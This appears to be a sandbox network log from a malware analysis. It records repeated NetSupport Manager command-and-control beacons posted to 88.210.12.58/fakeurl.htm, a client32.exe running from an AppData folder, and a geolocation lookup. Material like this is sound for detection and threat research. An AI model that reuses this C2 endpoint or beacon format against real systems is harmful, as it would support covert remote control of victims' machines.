Dec 6, 2024 10:43:14.852427959 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:14.956381083 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:15.056202888 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:15.156409025 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:15.256213903 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:15.355412960 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:15.455347061 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:15.556360006 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:15.657368898 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:15.763957024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:15.864350080 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:15.964385986 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:16.065324068 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:16.166333914 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:16.266400099 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:16.370181084 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:16.470187902 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:16.570182085 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:16.668332100 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:16.769318104 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:16.869373083 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:16.970377922 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:17.071589947 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:17.172346115 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:17.274228096 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:17.372370005 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:17.473437071 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:17.573440075 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:17.674381971 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:17.777611017 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:17.878479958 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:17.979321957 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:18.079360962 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:18.180320024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:18.280329943 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:18.382195950 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:18.481362104 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:18.581485033 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:18.681377888 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:18.782500982 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:18.884206057 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:18.986221075 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:19.084372997 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:19.186208010 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:19.286201954 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:19.386378050 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:19.487360954 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:19.587388992 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:19.687366009 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:19.787385941 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:19.888386965 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:20.192492962 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:20.293390989 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:20.394411087 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:20.494435072 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:20.594455957 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:20.698250055 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:20.798217058 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:20.896492958 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:20.998208046 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:21.098216057 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:21.198230982 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:21.297344923 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:21.398427963 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:21.498466969 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:21.599436998 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:21.699444056 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:22.000386953 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:22.101411104 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:22.201406002 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:22.301477909 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:22.404268026 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:22.504368067 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:22.602433920 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:22.703351974 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:22.804457903 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:22.904474020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:23.004389048 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:23.108299971 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:23.205442905 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:23.306407928 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:23.407351971 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:23.508395910 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:23.609376907 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:23.710413933 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:23.811389923 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:23.911421061 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:25.155673027 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49744	104.26.1.231	80	4900	C:\Users\user\AppData\Local\DNScache\client32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 10:39:34.675899982 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2024 10:39:36.063910961 CET	984	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 09:39:35 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8edb4f436f8a7292-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDQQSARRAQ=ICPLADDBOEPMFMKIJKKMCGDM; path=/ cf-apo-via: origin,host X-Frame-Options: SAMEORIGIN X-Powered-By: ASP.NET Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=26fWtzsVa5C2F7ddV6BwwnJOApUvhgeylRhdIU8BUspByetMcoljzkVSiJly60PgKsQb8VvsInQR9bDdJn1RLxW4a%2FhesiwPMJ3zGXVzKH9yNFD9hfqkkLOaSIruMyK786Stim6v8HKnrfS3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare server-timing: cfL4;desc="?proto=TCP&rtt=1964&min_rtt=1964&rtt_var=982&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 30 0d 0a 34 30 2e 37 33 35 37 2c 2d 37 34 2e 31 37 32 34 0d 0a 30 0d 0a 0d 0a Data Ascii: 